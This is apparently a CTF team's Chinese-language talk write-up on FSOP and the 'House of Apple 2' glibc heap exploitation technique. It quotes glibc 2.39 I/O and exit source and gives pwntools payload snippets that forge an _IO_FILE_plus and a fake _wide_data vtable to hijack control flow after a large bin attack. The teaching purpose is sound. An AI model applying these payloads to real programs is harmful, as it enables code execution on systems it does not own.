Vidar 分享会 - FSOP
I. FSOP
FSOP 是 File Stream Oriented Programming 的缩写。
FSOP 的核心思想就是劫持
_IO_list_all
的值来伪造链表和其中的_IO_FILE
项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp
,这个函数会刷新_IO_list_all
链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable
中的_IO_overflow
。
II. RTFSC
下面我将以 glibc-2.39 源码为例,分析 FSOP 的一个实际应用 ---House of Apple (2)1 涉及的原理。
_IO_FILE
/libio/bits/types/struct_FILE.h
中有如下定义:
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
使用 gdb,可以得到其成员的相对偏移:

Exit () 调用过程
__run_exit_handlers()
exit()
在 /stdlib/exit.c
有定义:
/* Initialize the flag that indicates exit function processing
is complete. See concurrency notes in stdlib/exit.h where
__exit_funcs_lock is declared. */
bool __exit_funcs_done = false;
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
if (run_dtors)
call_function_static_weak (__call_tls_dtors);
__libc_lock_lock (__exit_funcs_lock);
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
if (run_list_atexit)
call_function_static_weak (_IO_cleanup);
_exit (status);
}
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
_IO_cleanup()
在__run_exit_handlers
中调用了_IO_cleanup
,它在 /libio/genops.c
中有定义:
int
_IO_cleanup (void)
{
int result = _IO_flush_all ();
/* We currently don't have a reliable mechanism for making sure that
C++ static destructors are executed in the correct order.
So it is possible that other static destructors might want to
write to cout - and they're supposed to be able to do so.
The following will make the standard streambufs be unbuffered,
which forces any output from late destructors to be written out. */
_IO_unbuffer_all ();
return result;
}
_IO_flush_all()
同样在这个文件中,可以找到_IO_flush_all
:
int
_IO_flush_all (void)
{
int result = 0;
FILE *fp;
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
_IO_funlockfile (fp);
run_fp = NULL;
}
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
return result;
}
void
_cthreads_flockfile (FILE *fp)
{
_IO_lock_lock (*fp->_lock);
}
// ...
void _IO_flockfile (FILE *)
__attribute__ ((alias ("_cthreads_flockfile")));
// ...
_IO_FILE_plus
在 /libio/stdfiles.c
有定义
主要关注这个函数中的判断条件,如果前面的条件满足,会进入_IO_OVERFLOW (fp, EOF)
,这是一个宏定义,位于 /libio/libioP.h
:
/* Type of MEMBER in struct type TYPE. */
/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing
violation in case THIS has a different pointer type. */
//...
//...
//...
//...
//...
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) &__io_vtables;
if (__glibc_unlikely (offset >= IO_VTABLES_LEN))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
如果通过合法性检查,那么会执行_vtable->__overflow
//...
struct _IO_jump_t
{
//...
JUMP_FIELD(_IO_overflow_t, __overflow);
//...
}
这里__overflow
是_IO_jump_t vtable
中的虚函数,这是 GLIBC 中实现 I/O 多态的核心机制
vtable2
通过虚函数表(vtable)为不同类型的文件流(如文件、内存流、字符串流)提供统一的接口,同时允许不同流类型自定义底层操作(如读、写、缓冲区管理)。
我们可以在 /libio/vtables.c
中找到相关的定义。
const struct _IO_jump_t __io_vtables[] attribute_relro =
{
/* _IO_str_jumps */
[IO_STR_JUMPS] =
{
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_str_finish),
//...
},
[IO_WSTR_JUMPS] = {
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_wstr_finish),
//...
},
//...
}
也就是说,__overflow
实际是执行__io_vtables
中已定义的相关函数。如 finish
,会根据不同 I/O 类型执行不同函数,例如 [IO_STR_JUMPS]
中指向_IO_str-finish
;[IO_WSTR_JUMPS]
中指向_IO_wstr_finish
。
III. House of Apple
在上一节中,我们知道在_IO_JUMPS_FUNC(THIS)
这个宏中验证了 const struct _IO_jump_t *vtable
是否是合法的:即它指向的地址是否在__io_vtables
的范围内。这也让我们不能通过直接伪造 vtable
来控制程序执行流。
然而,我们仍有机会修改 vtable
为不同的合法虚表。这导致了后续函数执行过程中存在可利用的漏洞。
构造_IO_FILE_plus
使用 House of Apple 的前提是 Large bin attack,它将一个堆地址写在任意地址处。
这里将 &_IO_list_all
处写可控堆地址,然后开始伪造_IO_FILE_plus
。
由于 Large bin
attack 是把堆的头部 prev_size
地址写入,而一般我们只能从 fd
域开始编辑,所以下文的伪造会从 fd
开始。
fake_io = flat({
0x18:[
p64(1) # _IO_write_ptr [fp->_IO_write_ptr > fp->_IO_write_base]
],
0x60:[
p32(0) # _fileno
],
0x78:[
p64(_IO_stdfile_2_lock) # *_lock [_IO_flockfile (fp);]
],
0xb0:[
p32(0xFFFFFFFF) # _mode [fp->_mode <= 0]
]
})
_wide_data
调用链
尽管无法直接通过修改 vtable
控制执行流,但是_wide_data->_wide_vtable
在执行时缺少安全检查。
因此我们可以构造如下调用链,其中涉及到的方法和宏可自行查阅:
_IO_OVERFLOW (fp, EOF)->
(_IO_overflow_t) _IO_wfile_overflow->
_IO_wdoallocbuf (f)->
_IO_WDOALLOCATE (fp)->
Backdoor(fp) # fake vtable points at
构造_wide_data
,
_wide_vtable
为了使用上面的调用链,需要修改 *_wide_data
到我们伪造的_IO_wide_data
。
这里有一个巧妙的处理,我们可以将其指向之前伪造的_IO_FILE_plus
处,因为_IO_wide_data
中部分成员是与_IO_FILE
相同的。
然后在_wide_data->_wide_vtable
处写构造的 vtable 地址。

_IO_stdfile_2_lock = libc_base + 0x205700 # find your offset in gdb
IO_file_addr = heap_base + 0x0d00
IO_wide_data_addr = IO_file_addr
wide_vtable_addr = file_addr + 0xe8-0x68
fake_io = flat({
0x18:[
p64(1) # _IO_write_ptr [fp->_IO_write_ptr > fp->_IO_write_base]
],
0x60:[
p32(0) # _fileno
],
0x78:[
p64(_IO_stdfile_2_lock) # *_lock [_IO_flockfile (fp);]
],
0x90:[
p64(IO_wide_data_addr) # *_wide_data
],
0xb0:[
p32(0xFFFFFFFF) # _mode [fp->_mode <= 0]
],
0xc8:[
p64(libc_base+libc.sym['_IO_wfile_jumps']) # vtable
],
0xd0:[
p64(wide_vtable_addr)
],
0xd8:[
p64(gadget)
]
})
这样,就控制了程序执行流,并且 $rdi = &fp
。
对于 House of Apple 的实践,您也可以阅读我的这篇文章:HGAME 2025 Week 2 Writeup